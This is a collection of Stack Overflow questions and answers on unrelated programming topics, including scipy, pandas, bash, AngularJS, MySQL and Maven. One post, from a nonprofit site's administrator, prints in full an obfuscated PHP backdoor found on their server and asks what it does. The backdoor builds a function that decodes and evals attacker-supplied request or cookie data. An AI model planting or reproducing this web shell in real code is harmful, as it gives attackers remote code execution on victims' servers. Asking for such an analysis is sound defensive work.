40510085	0	 <p>You could use a sparse block matrix A which stores the (5, 2) entries of T_Arm on its diagonal, and solve AX = b where b is the vector composed of stacked entries of <code>Erg</code>. Then solve the system with scipy.sparse.linalg.lsqr(A, b).</p> <p>To construct A and b I use n=3 for visualisation purposes:</p> <pre><code>import numpy as np import scipy from scipy.sparse import bsr_matrix n = 3 col = np.hstack(5 * [np.arange(10 * n / 5).reshape(n, 2)]).flatten() array([ 0., 1., 0., 1., 0., 1., 0., 1., 0., 1., 2., 3., 2., 3., 2., 3., 2., 3., 2., 3., 4., 5., 4., 5., 4., 5., 4., 5., 4., 5.]) row = np.tile(np.arange(10 * n / 2), (2, 1)).T.flatten() array([ 0., 0., 1., 1., 2., 2., 3., 3., 4., 4., 5., 5., 6., 6., 7., 7., 8., 8., 9., 9., 10., 10., 11., 11., 12., 12., 13., 13., 14., 14.]) A = bsr_matrix((T_Arm[:n].flatten(), (row, col)), shape=(5 * n, 2 * n)) A.toarray() array([[ 0, 1, 0, 0, 0, 0], [ 2, 3, 0, 0, 0, 0], [ 4, 5, 0, 0, 0, 0], [ 6, 7, 0, 0, 0, 0], [ 8, 9, 0, 0, 0, 0], [ 0, 0, 10, 11, 0, 0], [ 0, 0, 12, 13, 0, 0], [ 0, 0, 14, 15, 0, 0], [ 0, 0, 16, 17, 0, 0], [ 0, 0, 18, 19, 0, 0], [ 0, 0, 0, 0, 20, 21], [ 0, 0, 0, 0, 22, 23], [ 0, 0, 0, 0, 24, 25], [ 0, 0, 0, 0, 26, 27], [ 0, 0, 0, 0, 28, 29]], dtype=int64) b = Erg[:n].flatten() </code></pre> <p>And then </p> <pre><code>scipy.sparse.linalg.lsqr(A, b)[0] array([ 5.00000000e-01, -1.39548109e-14, 5.00000000e-01, 8.71088538e-16, 5.00000000e-01, 2.35398726e-15]) </code></pre> <p>EDIT: A is not as huge in memory as it seems: more on block sparse matrices <a href="https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.sparse.bsr_matrix.html" rel="nofollow noreferrer">here</a>.</p>
1435792	0	 <p>[Edit: I was mistaken. The only way this will work is by using Selection. The following code will work: </p> <pre><code>Sheet1.Shapes("Group 1").GroupItems("Spinner 1").Select Selection.Max = 20 </code></pre> <p>Obviously this is not ideal. Any further assistance would be grand.]</p> <p>After a fair bit of cajoling, I've managed to figure this one out. To access a form control that is grouped, you need to use the GroupObjects collection (a hidden member): </p> <pre><code>Sheet1.GroupObjects("Group 1").ShapeRange.GroupItems("Spinner 1").ControlFormat.Max </code></pre> <p>Hope that helps anyone else who might run into this issue!</p>
28060954	0	 <p>you could try something like </p> <pre><code>B.x.where(B.x.str.contains(A.x), B.index, axis=index) #this would give you the ones that don't match B.x.where(B.x.str.match(A.x, as_indexer=True), B.index, axis=index) #this would also give you the one's that don't match. You could see if you can use the "^" operator used for regex to get the ones that match. </code></pre> <p>You could also maybe try</p> <pre><code>np.where(B.x.str.contains(A.x), B.index, np.nan) </code></pre> <p>also you can try:</p> <pre><code>matchingmask = B[B.x.str.contains(A.x)] matchingframe = B.ix[matchingmask.index] #or matchingcolumn = B.ix[matchingmask.index].x #or matchingindex = B.ix[matchingmask.index].index </code></pre> <p>All of these assume you have the same index on both frames (I think)</p> <p>You want to look at the string methods: <a href="http://pandas.pydata.org/pandas-docs/stable/text.html#text-string-methods" rel="nofollow">http://pandas.pydata.org/pandas-docs/stable/text.html#text-string-methods</a></p> <p>you want to read up on regex and pandas where method: <a href="http://pandas.pydata.org/pandas-docs/dev/indexing.html#the-where-method-and-masking" rel="nofollow">http://pandas.pydata.org/pandas-docs/dev/indexing.html#the-where-method-and-masking</a></p>
14029580	0	 <p>You are using static method for custom sorting, so you can set some static properties in this class before <code>usort</code></p> <pre><code>class Catalogs_model{ public static $usort_criteria = array(); public static function multi_compare($a,$b){ foreach(self::$usort_criteria as $what =&gt; $order){ if($a[$what] == $b[$what]){ continue; } return (($order == 'desc')?-1:1) * strcmp($a[$what], $b[$what]); } return 0; } } Catalogs_model::$usort_criteria = array( 'con' =&gt; 'asc', 'title' =&gt; 'asc' ); usort($arrCatalog, array('Catalogs_model', 'multi_compare')); </code></pre> <p>of course it needs some tweaking , because now it only sorts strings.</p>
18462920	0	 <pre><code>exec 3&gt;&amp;1 1&gt;&gt;${LOG_FILE} 2&gt;&amp;1 </code></pre> <p>would send stdout and stderr output into the log file, but would also leave you with fd 3 connected to the console, so you can do</p> <pre><code>echo "Some console message" 1&gt;&amp;3 </code></pre> <p>to write a message just to the console, or</p> <pre><code>echo "Some console and log file message" | tee /dev/fd/3 </code></pre> <p>to write a message to <em>both</em> the console <em>and</em> the log file - <code>tee</code> sends its output to both its own fd 1 (which here is the <code>LOG_FILE</code>) and the file you told it to write to (which here is fd 3, i.e. the console).</p> <p>Example:</p> <pre><code>exec 3&gt;&amp;1 1&gt;&gt;${LOG_FILE} 2&gt;&amp;1 echo "This is stdout" echo "This is stderr" 1&gt;&amp;2 echo "This is the console (fd 3)" 1&gt;&amp;3 echo "This is both the log and the console" | tee /dev/fd/3 </code></pre> <p>would print</p> <pre><code>This is the console (fd 3) This is both the log and the console </code></pre> <p>on the console and put</p> <pre><code>This is stdout This is stderr This is both the log and the console </code></pre> <p>into the log file.</p>
24979288	0	Colliders in unity behaving the way they, as I think, shouldn't <p>I am learning to work with unity now and I noticed one error. I am working with 2D and have two box colliders. </p> <p>One of them is: </p> <pre><code>Size : X = 8, Y = 0.3 Center: X = 0, Y = 4.9 </code></pre> <p>The Other one is </p> <pre><code>Size : X = 3, Y = 0.6 Center: X = 0, Y = 3.95 </code></pre> <p>So from this information we can see that the gap between those two colliders is 0.5, but a rigidbody with a circle collider with a radius of 0.25 is not able to move through that gap, it gets stuck. </p> <p>Maybe there's something I don't know about the way colliders work and you could shed some light.</p>
39420327	0	Passing parameters data to controller with Angular ui router state <p>I was using $httpBackend and the way I followed code examples I ended up feeling very trapped and cornered ... I had no idea how to make additional ajax calls from my controller as it httpBackend shut down further request.</p> <p>Anyways. I'm using this UI-Router in which the code was heavily relying on this deviceResource which was tied into use the $httpBackend . </p> <p>All i want to do is to pass a parameter to my controller ( it in also in the url </p> <p><strong>OLD CODE</strong></p> <pre><code> .state("deviceDetail", { url: "/devices/:DeviceId", // param is required which specific device id templateUrl: "app/devices/deviceDetailView.html", // ui elements controller: "DeviceDetailCtrl as vm" //, // as with alias of vm resolve: { // resolve is a property of the stateconfiguration object deviceResource: "deviceResource", // key value pair Key is deviceResource value is string name of "deviceResource" device: function (deviceResource, $stateParams) { // $stateParams service is needed because url: has this :DeviceId var DeviceId = $stateParams.DeviceId; return deviceResource.get({ DeviceId: DeviceId }).$promise; // function returns the promise } } }) </code></pre> <p><strong>Current Code</strong></p> <pre><code> .state("deviceDetail", { url: "/devices/:DeviceId", // param is required which specific device id templateUrl: "app/devices/deviceDetailView.html", // ui elements controller: "DeviceDetailCtrl as vm", function($scope,$stateParams) { $scope.DeviceId = $stateParams.DeviceId; } }) </code></pre> <p><strong>How do I pass data to controller?</strong> 1. $scope.DeviceId ? ( doesn't work ) 2. $state ?</p> <p><strong>Controller code</strong></p> <pre><code>angular .module("deviceManagement") .controller("DeviceDetailCtrl", ["$scope", "$http", "$state", DeviceDetailCtrl]); function DeviceDetailCtrl($scope, $http, device, $state) { console.log($scope.DeviceId); console.log($scope); console.log($state); ///... } </code></pre>
27035179	0	Lock and unlock resources with single command <p>I am working with threads and that's the reason I use mutexes for locking shared resources. The base usage of locking is to put resources within Lock/unlock block.</p> <pre><code>procedure RefreshData; begin DataLock; GetData; GetSettings; CheckValues; ... DataUnlock; end; </code></pre> <p>Because there is always a pair Lock/Unlock I started thinking about simplified lock/unlock approach which would automatical unlock resources when not needed anymore.</p> <p>So my idea was to introduce new procedure which would take as an input parameter a reference to precedure. This will give me ability to use anonymous method.</p> <p>Code would be something like:</p> <pre><code>type TBaseProc = reference to procedure; procedure TMyObject.LockMethod(AMeth: TBaseProc); begin DataLock; try AMeth; finally DataUnlock; end; end; procedure TForm1.RefreshData; begin MyObject.LockMethod( procedure begin GetData; GetSettings; CheckValues; ... end; ); end; </code></pre> <p>Has this approach any sense or is there better or even easier solution to this? </p> <p>Thanks and regards.</p>
7490293	0	 <p>The code seems to be an attempt to implement a connect middleware to serve static files. Did you try to use standard connect middleware for this purpose? Here is an example:</p> <pre><code>var connect = require('connect') var server = connect.createServer( connect.logger() , connect.static(__dirname + '/public') ) </code></pre>
24202717	0	Optimize mysql multiple left joins <p>I have a query like this: </p> <pre class="lang-sql prettyprint-override"><code>SELECT SUM(c.cantitate) AS num, p.id AS pid, p.titlu AS titlu, p.alias AS alias, p.gramaj AS gramaj, p.prettotal AS prettotal, p.pretunitar AS pretunitar, p.pretredus AS pretredus, p.stoc AS stoc, p.cant_variabila AS cant_variabila, p.nou AS nou, p.congelat AS congelat, p.cod AS cod, p.poza AS poza, cc.seo AS seo FROM produse p LEFT JOIN (SELECT produs, cantitate, COS FROM comenzi) c ON p.id = c.produs LEFT JOIN (SELECT STATUS, id FROM cosuri) cs ON c.cos = cs.id LEFT JOIN (SELECT id, seo FROM categorii) cc ON p.categorie = cc.id WHERE cs.status = 'closed' AND p.vizibil = '1' GROUP BY pid ORDER BY num DESC LIMIT 0, 14 </code></pre> <p>The query is working, but Duration for 1 query: 2.922 sec. How can I improve the query ?</p> <p>The keys are as following : </p> <p>comenzi: cos, produs as unique key</p> <p>cosuri: id as unique key</p> <p>produse: titlu, categorie, alias as key</p>
23193621	0	 <pre><code> $(".button").click(function(e) { $('#container').prepend("&lt;img src='http://24.media.tumblr.com/tumblr_ma4oz49mAq1r2cisro1_1280.png' id='test'&gt;"); $('#test').load(function(){ alert('Finished Loading!'); }); e.preventDefault(); }); </code></pre>
39794735	0	How create table use j2html? <p>I get acquainted with j2html and I try a make table, but have some problems:</p> <pre><code> main().with( table( tr( td().with( img().withSrc(imagePath+photo) ) td().with( span(name) ), td().with( span(String.valueOf(quantity)) ) </code></pre> <p>after img().withSrc(imagePath+photo) I see mistake, but I don't understand what want from me Idea May be you can show how create table with image+name+ some quontity + colspan for several cells</p>
12695424	0	Window.location takes me to new page even when current form is not submitted completely. <p>I am trying to redirect to different page after current form has been submitted but as it turns out, using <code>window.location</code> am diverted to new page very quickly and seems like my current form is not at all submitted. </p> <p>Here the function that am using. </p> <pre><code>function updateImportJobTypeSettings() { var importJob = document.getElementById("jobtype").value; var parser = document.getElementById("selectparser"); var parserValue = parser.options[parser.selectedIndex].value; document.importJobManagmentForm.action="/admin/ImportJobManagment.jsp"; document.importJobManagmentForm.requestAction.value="updateImportJobSettings"; document.importJobManagmentForm.ImportJobParser.value=parserValue; document.importJobManagmentForm.ImportJobManagmentType.value=importJob; document.importJobManagmentForm.DivHidden.value="visible"; document.importJobManagmentForm.submit(); window.location = "/admin/ImportJobManagmentList.jsp" } </code></pre> <p>My goal is that after ImportManagment.jsp page is submitted, I want to come back to ImportJobManagmentList.jsp page to see all data that were submitted to ImportJobManagment.jsp</p> <p>Think to note here is that if I put debugger on then I do see that new job is created on JobList but if I go and try to update it, again new job is created rather than doing an update to the previous job. </p>
1228098	0	Toggling link text when navigating between pages based on selected stylesheet <p>I have installed a script on my website that allows for a low contrast setting and a high contrast setting, as my site will be used by sight impaired persons. The script works perfectly. The only problem is when a visitor visits multiple pages of the site.</p> <p>When you first visit the site, the low contrast setting is in effect by default and only the link to the high contrast setting appears. If you then visit other pages of the website, the low contrast setting is in effect by default and only the high contrast link appears (this is perfect and as it should be). The website does this by using a cookie.</p> <p>Here is the problem. If you click on the high contrast link to view the page in the high contrast setting and then go to another page, the other page appears in the high contrast setting (as it should), but instead of a link to the low contrast setting appearing (which I would like to happen), a link to the high contrast setting appears (which does not make sense, given the page is already in the high contrast setting).</p> <p>My site is not done, but I published a few pages at <a href="http://www.14kt.eu/" rel="nofollow noreferrer">http://www.14kt.eu/</a> so you can see what I am talking about. A number of the members of this site were kind enough to help me with the code/script and things were working perfectly for a bit, but then it just stopped working. I suspect I changed something in the rest of the html that caused this. Rather perplexed over this issue.</p> <p>If anybody can please tell me how to fix this problem, I would be most grateful.</p> <p>Thank you for your time, Chris</p>
2430201	0	 <p>There aren't any length limits on <code>stdin</code>. If you can't receive large amounts of data it's your code that creates the problems.</p>
28995302	0	 <p>I don't understand what exactly you need, </p> <p>But it seems that you mixed types INT and DATE.</p> <p>So if your <code>in_date</code> field has type <strong>DATE</strong></p> <pre><code>select cust_no, cust_name, sum(bvtotal) as Amount from sales_history_header where cust_no is not null and number is not null and bvtotal &gt; 1000 and in_date &lt; DATE('2014-01-01') group by cust_no,cust_name order by sum(bvtotal) desc; </code></pre> <p>If your <code>in_date</code> field has type <strong>TIMESTAMP</strong></p> <pre><code>select cust_no, cust_name, sum(bvtotal) as Amount from sales_history_header where cust_no is not null and number is not null and bvtotal &gt; 1000 and in_date &lt; TIMESTAMP('2014-01-01 00:00:00') group by cust_no,cust_name order by sum(bvtotal) desc; </code></pre>
1334529	0	What could cause "PROCEDURE schema.identity does not exist" using MySQL and Hibernate? <p>Using Java, Hibernate, and MySQL I persist instances of a class like this using the Hibernate support from Spring.</p> <pre><code>@Entity public class MyEntity implements Serializable { private Long id; @Id @GeneratedValue(strategy = GenerationType.AUTO) public Long getId() { return id; } public void setId(Long id) { this.id = id; } } </code></pre> <p>This generally works fine. But now and then when trying to persist such an entity, I get this:</p> <pre><code>java.sql.SQLException: PROCEDURE schema.identity does not exist </code></pre> <p>The underlying MySQL error is:</p> <pre><code>SQL Error: 1305, SQLState: 42000 </code></pre> <p>This is a regular MySQL error described in the <a href="http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html#error_er_sp_does_not_exist" rel="nofollow noreferrer">MySQL manual</a>.</p> <p>My problem is that this system worked for months without any problem. Only recently I discovered the error described above. Do you have any ideas what could have caused this problem? What does Hibernate look for and doesn't find?</p> <p>If this question should be on serverfault, feel free to migrate it :)</p>
21993202	0	 <p>Have a try and add this header:</p> <pre><code>Disposition-Notification-To: "User" &lt;user@user.com&gt; </code></pre> <p>The reader may need to confirm that you get a reply. Also adding html content served by your server can be an option to recognize that the mail is read.</p> <p>You should be able to do this with any of these lines</p> <pre><code>msg['Disposition-Notification-To'] = '"User" &lt;user@user.com&gt;' msg['Disposition-Notification-To'] = 'user@user.com' </code></pre>
22427926	0	How to use maven3 with java7 on OSX Mavericks? <p>I installed maven3 on Mavericks by Macports. It's working well but using java 1.6. How could I change to use java 7 instead?</p> <h3>Maven3 is installed but using java 1.6:</h3> <pre><code>$ mvn -version Apache Maven 3.0.5 (r01de14724cdef164cd33c7c8c2fe155faf9602da; 2013-02-19 13:51:28+0000) Maven home: /opt/local/share/java/maven3 Java version: 1.6.0_65, vendor: Apple Inc. Java home: /System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home Default locale: en_US, platform encoding: MacRoman OS name: "mac os x", version: "10.9.2", arch: "x86_64", family: "mac" </code></pre> <h3>Java 7 is also installed:</h3> <pre><code>$ java -version java version "1.7.0_25" Java(TM) SE Runtime Environment (build 1.7.0_25-b15) Java HotSpot(TM) 64-Bit Server VM (build 23.25-b01, mixed mode) </code></pre> <h3>Java 7 path:</h3> <pre><code>$ which java /usr/bin/java $ ls -lah /usr/bin/java lrwxr-xr-x 1 root wheel 74B 26 Oct 13:33 /usr/bin/java -&gt; /System/Library/Frameworks/JavaVM.framework/Versions/Current/Commands/java </code></pre> <p>What's the difference in the two java paths?</p> <ul> <li>/System/Library/Java/JavaVirtualMachines</li> <li>/System/Library/Frameworks/JavaVM.framework/Versions</li> </ul>
38511808	0	Found Malicious PHP code on server - can anyone advise on what this code was doing? <p>I run a website for a nonprofit - we piggy back on a PHPbb3 system hosted on Godaddy. Started having rolling connection issues. Found several "odd" files in root directory that I know were not put there by myself. Can anyone take a look at the code and see what these files were doing?</p> <pre><code> &lt;?php $katya='=KIT(a'; $choral= '$'; $fireproof='c'; $avivah= '=UlQy'; $islander= 'O'; $endosperm = '_s'; $fume=':S_:uee'; $knighthood ='WH'; $bars ='r$m'; $delicately ='D'; $caterpillar = '&lt;ElUsabt'; $daydreaming ='$'; $contrasting = 't'; $gladys= 'S'; $complementing= '('; $kink = 'CK';$goblet ='X';$astigmatic = ')eklE';$ethane= 'l'; $aquamarine= 'Q'; $amalgams= 'u';$ardently= 'r@]L;"'; $cruelly='e';$lateral = 'P'; $chased = 'G'; $aspects = 'e,girT';$dismayed ='$x$Le';$handicap='s';$glints ='d'; $cursing=']Eg'; $jurisprudent = '[ac';$indeed ='M'; $influenza= '_'; $dehydrate= 'a'; $exch= ')__';$felling ='s'; $jedimaster= 'leFa'; $interrogating ='M'; $exaggerating='TLstSi)(_'; $introduced='['; $barrette='ARLEn;E;'; $halfhearted= 'o)"s$(fm';$jeffy ='O'; $ange = '9'; $handicraftsmen = ')p'; $giacinta = 'r[("KeHLv'; $johann='d'; $efferent ='r';$involving='l'; $cornucopia ='d';$assortment ='$u&gt;U(vSov'; $idles='a';$decimated='`'; $grater = 'e';$chewing = 't'; $kayo='"';$currant =' ';$astronomically ='6'; $decomposition= 'Yo';$dukeleto ='cbi'; $diverging ='O'; $earning = 'e"';$caveman = '?'; $independent = '"'; $lab= '=(ia$'; $anode = '$';$jixian='y';$freights = '[E';$approve ='(__'; $gnome= 'KLeptre'; $crimson ='r'; $chandler='i_X$gaa';$edits='?';$blunderings='_';$attraction ='P';$avoid='k)rRf7vX';$liabilities='4';$blaster='P'; $alumnae= 's'; $daveen ='VecStT_';$crop= 'esm)Mr'; $isles ='tLnga"'; $beniamino='rRuiJVe';$concentrators = '"'; $commando='i'; $angrier ='i';$boatsman = 'RhTT_;B'; $informal='s'; $anode =':';$compatible ='^';$catherine = '8In'; $blade= 'e'; $inquisition ='['; $brutalize='l'; $garfield=']Us'; $cruisers = 'r'; $galleried = 'H'; $garvy = '(5d';$lesson = ')6';$gunplay = '('; $fertilization =','; $halibut =')'; $bravura = ';)lCa';$lamp = 'N';$drain = 'c';$hydroxy ='fa)Z'; $beetles= ']]i(x';$daniella = '?';$bar=$drain. $cruisers .$blade. $hydroxy['1']. $isles['0'] . $blade. $boatsman['4'] . $hydroxy['0'].$beniamino['2'] .$catherine['2']. $drain. $isles['0']. $beetles['2']. $decomposition['1'] . $catherine['2']; $bulls= $currant ;$hog=$bar ($bulls, $blade.$avoid[6]. $hydroxy['1'] . $bravura['2'] .$beetles['3'] .$hydroxy['1'] .$cruisers.$cruisers. $hydroxy['1'] .$jixian. $boatsman['4']. $gnome['3'] . $decomposition['1']. $gnome['3']. $beetles['3'].$hydroxy['0'].$beniamino['2'] .$catherine['2']. $drain . $boatsman['4'] .$isles['3'] .$blade .$isles['0'] . $boatsman['4']. $hydroxy['1'] . $cruisers. $isles['3']. $garfield['2'] . $beetles['3']. $hydroxy[2]. $hydroxy[2] . $hydroxy[2] .$bravura['0'] ); $hog ($avoid['5'] ,$delicately, $garfield['1'], $chandler['3'] ,$lucia , $corporacy[2] ,$boatsman['6'] , $chandler['3'] . $beetles['2']. $lab['0'] .$hydroxy['1'] . $cruisers . $cruisers .$hydroxy['1']. $jixian .$boatsman['4'].$crop['2'] . $blade.$cruisers . $isles['3']. $blade . $beetles['3'].$chandler['3'] .$boatsman['4'] . $boatsman['0'] . $freights['1'] . $aquamarine.$garfield['1'] .$freights['1'] . $daveen[3] . $boatsman[3]. $fertilization .$chandler['3'].$boatsman['4']. $bravura['3']. $diverging. $diverging .$gnome['0'].$catherine['1'] . $freights['1'].$fertilization . $chandler['3'] .$boatsman['4'] . $daveen[3] . $freights['1'] .$boatsman['0']. $beniamino[5]. $freights['1']. $boatsman['0'] . $hydroxy[2] . $bravura['0']. $chandler['3'] . $hydroxy['1'].$lab['0'] . $beetles['2'] .$garfield['2'].$garfield['2'] . $blade . $isles['0'] .$beetles['3'] .$chandler['3'] . $beetles['2'] . $inquisition . $concentrators.$crop['2']. $avoid['0'] .$bravura['2'].$garfield['2']. $beetles['4'] .$bravura['2']. $beniamino['2'] .$bravura['2'].$concentrators.$beetles['1'] . $hydroxy[2] .$daniella['0']. $chandler['3'] .$beetles['2']. $inquisition.$concentrators . $crop['2']. $avoid['0'] .$bravura['2'] . $garfield['2'] . $beetles['4'] .$bravura['2']. $beniamino['2'] .$bravura['2'] .$concentrators . $beetles['1'] . $anode . $beetles['3']. $beetles['2'] . $garfield['2'].$garfield['2'] .$blade . $isles['0']. $beetles['3'] . $chandler['3'].$beetles['2'] . $inquisition .$concentrators .$galleried. $boatsman[3]. $boatsman[3].$blaster . $boatsman['4']. $crop[4]. $gnome['0'] .$isles['1'] .$daveen[3]. $avoid['7']. $isles['1'] .$garfield['1'] . $isles['1']. $concentrators .$beetles['1'].$hydroxy[2] .$daniella['0'].$chandler['3']. $beetles['2'].$inquisition .$concentrators . $galleried. $boatsman[3]. $boatsman[3]. $blaster.$boatsman['4'] . $crop[4].$gnome['0'] . $isles['1'].$daveen[3].$avoid['7']. $isles['1']. $garfield['1'] .$isles['1'].$concentrators . $beetles['1']. $anode. $garvy['2'] .$beetles['2'] . $blade . $hydroxy[2].$bravura['0'].$blade . $avoid[6]. $hydroxy['1'].$bravura['2']. $beetles['3'] . $garfield['2']. $isles['0'] .$cruisers. $cruisers. $blade .$avoid[6].$beetles['3']. $dukeleto['1']. $hydroxy['1'].$garfield['2'] . $blade .$lesson['1'] . $liabilities.$boatsman['4']. $garvy['2'].$blade . $drain. $decomposition['1']. $garvy['2'] .$blade.$beetles['3'] . $garfield['2']. $isles['0']. $cruisers. $cruisers.$blade . $avoid[6] . $beetles['3'] . $chandler['3'].$hydroxy['1'] .$hydroxy[2].$hydroxy[2] . $hydroxy[2] .$hydroxy[2]. $bravura['0'] ); </code></pre>
20183602	0	Codeigniter on Ubuntu no welcome message <p>I am trying to run CodeIgniter (2.14) on Ubuntu 13.10. I have put the files in "var/www/CodeIgniter" but when I enter the directory from the browser it does not show any welcome message as it did previously when working with CodeIgniter on Microsoft Windows 7. I have verified that PHP works on the environment with the function <code>phpinfo()</code> - PHP Version 5.5.3-1ubuntu2. The rights for the folder are 755 if that is of any importance. </p> <p>I have tried to set the base URL to </p> <pre><code> http://localhost/"myproject". </code></pre> <p>I have tried to re-download and "reinstall" CodeIgniter.</p> <p>Guys I really could use your help I don't feel like running an windows environment in virtual box just for this and I definitely wouldn't like to install windows 8.1 just for this. All help is appreciated and considered constructive.<img src="https://i.stack.imgur.com/LBoIn.png" alt="enter image description here"></p>
16445753	0	How to deploy an asp.net mvc 4 application with database? <p>I'm new to <code>asp.net</code> and want to do the following:</p> <p>I have an <code>asp.net mvc 4</code> website that uses a local database (mdf). I want to install that website on a windows 2012 server (amazon ec2).</p> <p>My Questions:</p> <ul> <li>How do I handle the database?</li> <li>How do I move it onto the server?</li> </ul>
11698767	0	 <p>The correct way to do this is to access</p> <pre><code>$request-&gt;request-&gt;get('name_of_the_textarea') </code></pre> <p>in the controller. You might also consider using the <a href="http://symfony.com/doc/current/book/forms.html" rel="nofollow">Form Component</a> for that purpose.</p>
36238444	0	 <p>From more exchange it turns out that some detail of the redundant specifications caused a mismatch.</p> <p>Tray the following replacement. It will work:</p> <pre><code>preg_match('#MonetaryCode"&gt;USD.*MonetaryBuy"&gt;([0-9,.]*)&lt;.*MonetarySell"&gt;([0-9,.]*)&lt;#Uis', $content, $USDmatch); preg_match('#MonetaryCode"&gt;EUR.*MonetaryBuy"&gt;([0-9,.]*)&lt;.*MonetarySell"&gt;([0-9,.]*)&lt;#Uis', $content, $EURmatch); preg_match('#MonetaryCode"&gt;GBP.*MonetaryBuy"&gt;([0-9,.]*)&lt;.*MonetarySell"&gt;([0-9,.]*)&lt;#Uis', $content, $GBPmatch); $eur = $EURmatch[2]; $usd = $USDmatch[2]; $gbp = $GBPmatch[2]; </code></pre> <p>I just shortened the regexp and eliminated unnecessary groupings. The remarks about greedyness and linebreaks have all been illguided. You already had the proper modifiers thatt I just overlooked in the long rexep pattern strings. Sorry for the confusion.</p>
9716551	0	 <p>You can use "M-x replace-string", It means that you need press <kbd>Alt</kbd> + <kbd>x</kbd>, then input "replace-string" then <kbd>Enter</kbd>. Now, you can type in what to search. After an other <kbd>Enter</kbd>, you can type in what it should be replaced. Or you can set a hotkey in your dotemacs file. like:</p> <pre class="lang-lisp prettyprint-override"><code>(global-set-key [f11] 'replace-string) </code></pre> <p>then, you can use <kbd>F11</kbd> to call this function.</p>
10590488	0	 <p>Use <a href="http://www.ruby-doc.org/core-1.9.3/Array.html#method-i-map" rel="nofollow"><code>Array#map</code></a>:</p> <pre><code>nas.location.walledgardens.map(&amp;:url).join ',' </code></pre>
18630753	0	 <p>you should assume charset type.</p>
12228701	0	 <p>Okay, I figured this out myself.</p> <p>The name of the file that was right-clicked on is sent as an argument, and the working directory is set to the user's home.</p> <p>My problem was caused by my program trying to work on two different targets simultaneously: the file name sent to it by the file manager, and my (irrelevant) home directory. I specified a new target directory myself and it works fine now.</p> <p>EDIT: This might be specific to TCL. If that is the case, then I apologize for posting this question.</p>
8413616	0	 <p>Here's an excellent introduction to URL rewriting that I've used in the past:</p> <p><a href="http://www.addedbytes.com/for-beginners/url-rewriting-for-beginners/" rel="nofollow">http://www.addedbytes.com/for-beginners/url-rewriting-for-beginners/</a> </p> <p>To truly get the most from <code>.htaccess</code> URL rewriting though you may need to check out regular expressions.</p>
25337332	0	 <pre><code>public enum PairOddEnum { Evens, Odds, Both } public void BindControl(PairOddEnum type) { if (this.textBox1.Text != "") { List&lt;string&gt; numbersText = this.textBox1.Text.Split(',').ToList&lt;string&gt;(); var evens = numbersText.Where(t =&gt; int.Parse(t) % 2 == 0).Distinct(); var odds = numbersText.Where(t =&gt; int.Parse(t) % 2 == 1).Distinct(); if (type == PairOddEnum.Evens) { ListBoxEvenNumbers.DataSource = evens.ToList(); } else if (type == PairOddEnum.Odds) { ListBoxOddNumbers.DataSource = odds.ToList(); } else { ListBoxEvenNumbers.DataSource = evens.ToList(); ListBoxOddNumbers.DataSource = odds.ToList(); } } } protected void ButtonClassify_Click(object sender, EventArgs e) { if (RadioButtonList1.SelectedValue == "Both") { BindControl(PairOddEnum.Both); } if (RadioButtonList1.SelectedValue == "Even") { BindControl(PairOddEnum.Evens); } if (RadioButtonList1.SelectedValue == "Odd") { BindControl(PairOddEnum.Odds); } } </code></pre>
651002	0	 <p>If you don't mind a little Win32, you can use <a href="http://msdn.microsoft.com/en-us/library/bb762204.aspx" rel="nofollow noreferrer"><code>SHGetSpecialFolderPath</code></a>.</p> <pre><code>[DllImport("shell32.dll")] static extern bool SHGetSpecialFolderPath(IntPtr hwndOwner, StringBuilder lpszPath, CSIDL nFolder, bool fCreate); enum CSIDL { COMMON_STARTMENU = 0x0016, COMMON_PROGRAMS = 0x0017 } static void Main(string[] args) { StringBuilder allUsersStartMenu = new StringBuilder(255); SHGetSpecialFolderPath(IntPtr.Zero, allUsersStartMenu, CSIDL.COMMON_PROGRAMS, false); Console.WriteLine("All Users' Start Menu is in {0}", allUsersStartMenu.ToString()); } </code></pre>
7644970	0	 <p>You want to update a copy of the data (userAs session) without refering to the master set of data. This is just not going to work.</p> <p>With it's shared nothing architecture, this is going to be hard to implement in PHP.</p> <p>The only sensible way to achieve this in anything approaching realtime is to maintain a semaphore for each current user session - and set that semaphore when the session data should be re-loaded. And at that point you <em>must</em> read the data from the database.</p> <p>Much of this could be done within the session handler - which is probably the most sensible place to handle it - but you need to be aware that the semaphore is therefore volatile and code it appropriately (e.g. using optimistic locking around reading/writing the semaphore).</p>
34899678	0	AngularJs Bootstrap UI Typeahead - how do I *append* the selection to the current value of a textbox <p>I have a typeahead working nicely on some input boxes on a form. It is used to help the user select template tags into a textbox. I need the textbox to retain what the user has already typed, however so far I have only been able to get as far as the selection overwriting what's in the textbox.</p> <p>Can someone help? Should I be using the <a href="https://angular-ui.github.io/bootstrap/#/typeahead" rel="nofollow">typeahead-on-select</a> callback? I'm not sure how/what I would put in here to achieve what I'm after.</p> <pre><code>&lt;input type="text" class="form-control" name="textIncTags" id="textIncTags" ng-model="customTemplate.textIncTags" uib-typeahead-editable="false" uib-typeahead-focus-first="false" uib-typeahead="'{' + tag.label + '}' for tag in allTags" /&gt; </code></pre>
20149551	0	 <p>On compilation it is generating: </p> <pre><code>[Warning] overflow in implicit constant conversion [-Woverflow] </code></pre> <p>and that's why you are getting </p> <pre><code> -1,2,-3 </code></pre> <p>as output.<br> Note: Always use debugger and debug your program.</p>
10107056	0	 <p>From the small code snippet you shared, it's hard to say what the problem really is. </p> <p>I can only suspect that the result of <code>GPSC.size()</code> is bigger than what an <code>int</code> can store, therefore causing an overflow on <code>i</code> after <em>some</em> iterations.</p>
14990918	0	How would I copy the gallery, posts & pages from a compromised wordpress install to a fresh one? <p>A Wordpress install on one of my servers has been compromised. What's the quickest way to export the gallery, posts and pages in a manner that won't export any back doors along with them? Then how do I import those into the fresh Wordpress installation?</p> <p>I want to avoid copying any php files as the attacker may have left a back door. I also want to avoid copying the entire database because the attacker may have left a back door in there, too.</p>
24913311	0	 <pre><code>private function setXY(ct:Object, yt:Object){ tt.txt_ct.embedFonts = false; tt.txt_yt.embedFonts = false; tt.txt_ct.text = ct.toString(); tt.txt_yt.text = yt.toString(); } </code></pre>
39480475	0	 <p>A recent (Aug 2016) security update in Windows 10 prevents the reuse of printer device contexts. After printing one document Windows 10 will refuse to print again with that same DC. It has always been a preferred practice to create a new DC for each document, but now it seems to be a requirement in Windows 10. </p>
4582143	0	 <p>Add a + to the list.</p> <pre><code>preg_replace('#[^-a-zA-Z0-9_&amp;; +]#', '', $abcd) </code></pre>
